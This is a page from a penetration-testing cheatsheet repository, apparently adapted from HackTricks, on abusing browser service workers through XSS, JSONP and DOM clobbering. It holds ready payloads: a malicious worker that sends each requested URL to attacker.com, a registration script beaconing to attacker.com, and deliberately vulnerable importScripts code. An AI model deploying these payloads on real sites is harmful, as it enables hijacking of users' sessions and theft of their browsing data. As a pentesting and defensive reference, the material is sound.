daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

abusing-service-workers.md (6533B)


      1 ---
      2 title: "Abusing Service Workers"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Abusing Service Workers
     14 
     15 ## Basic Information
     16 
     17 A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.<sup>[[2]](#references)</sup>
     18 
     19 ### Checking for Existing Service Workers
     20 
     21 Existing service workers can be inspected, updated, stopped, or unregistered from the **Service Workers** section of Chrome DevTools' **Application** panel. Chromium also exposes `chrome://serviceworker-internals` for a global, lower-level view of registrations.<sup>[[3]](#references)[[7]](#references)</sup>
     22 
     23 ### Push Notifications
     24 
     25 **Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.
     26 
     27 ## Attack Creating a Service Worker
     28 
     29 In order to exploit this vulnerability you need to find:
     30 
     31 - A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
     32 - A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.
     33 
     34 The following service worker listens for `fetch` events and sends each requested URL to the attacker's server. This is the code that must be uploaded to the vulnerable origin or returned through a vulnerable JSONP endpoint:
     35 
     36 ```javascript
     37 self.addEventListener("fetch", (event) => {
     38   event.waitUntil(
     39     fetch("https://attacker.com/fetch_url/" + encodeURIComponent(event.request.url), {
     40       mode: "no-cors",
     41     }).catch(() => {}),
     42   )
     43   event.respondWith(caches.match(event.request).then((response) => response || fetch(event.request)))
     44 })
     45 ```
     46 
     47 And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:
     48 
     49 ```html
     50 <script>
     51 window.addEventListener('load', function() {
     52 var sw = "/uploaded/ws_js.js";
     53 navigator.serviceWorker.register(sw, {scope: '/'})
     54   .then(function(registration) {
     55     var xhttp2 = new XMLHttpRequest();
     56     xhttp2.open("GET", "https://attacker.com/SW/success", true);
     57     xhttp2.send();
     58   }, function (err) {
     59     var xhttp2 = new XMLHttpRequest();
     60     xhttp2.open("GET", "https://attacker.com/SW/error", true);
     61     xhttp2.send();
     62   });
     63 });
     64 </script>
     65 ```
     66 
     67 In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:
     68 
     69 ```javascript
     70 var sw =
     71   "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
     72 ```
     73 
     74 **Shadow Workers** is a command-and-control framework dedicated to service-worker exploitation.<sup>[[4]](#references)</sup>
     75 
     76 Service-worker update checks bypass the browser cache when the previous fetch occurred more than 24 hours ago, but that does **not** guarantee that a malicious worker disappears within 24 hours: the old worker can remain active until a changed script is fetched, installed, and activated. Use short cache lifetimes for the worker script and deploy a kill-switch worker that unregisters itself and clears malicious caches.<sup>[[5]](#references)[[6]](#references)</sup>
     77 
     78 ## Abusing `importScripts` in a SW via DOM Clobbering
     79 
     80 The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.<sup>[[1]](#references)</sup>
     81 
     82 **This even bypasses CSP protections.**
     83 
     84 **Example vulnerable code:**
     85 
     86 - **index.html**
     87 
     88 ```html
     89 <script>
     90   navigator.serviceWorker.register(
     91     "/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
     92       location.search
     93   )
     94   // attacker controls location.search
     95 </script>
     96 ```
     97 
     98 - **sw.js**
     99 
    100 ```javascript
    101 const searchParams = new URLSearchParams(location.search)
    102 let host = searchParams.get("host")
    103 self.importScripts(host + "/sw_extra.js")
    104 //host can be controllable by an attacker
    105 ```
    106 
    107 ### With DOM Clobbering
    108 
    109 For more info about what DOM Clobbering is check:
    110 
    111 
    112 [Dom Clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering)
    113 
    114 If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.<sup>[[1]](#references)</sup>
    115 
    116 For an example of this check the reference link.<sup>[[1]](#references)</sup>
    117 
    118 ## References
    119 
    120 - [1] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
    121 - [2] [developers.google.com - Primers - Service Workers](https://developers.google.com/web/fundamentals/primers/service-workers)
    122 - [3] [Chrome DevTools - Application panel overview](https://developer.chrome.com/docs/devtools/application)
    123 - [4] [Shadow Workers](https://shadow-workers.github.io)
    124 - [5] [MDN - `ServiceWorkerRegistration.update()`](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/update)
    125 - [6] [Service-worker kill-switch pattern](https://stackoverflow.com/a/38980776)
    126 - [7] [Chromium - Service Worker Security FAQ](https://chromium.googlesource.com/chromium/src/+/main/docs/security/service-worker-security-faq.md)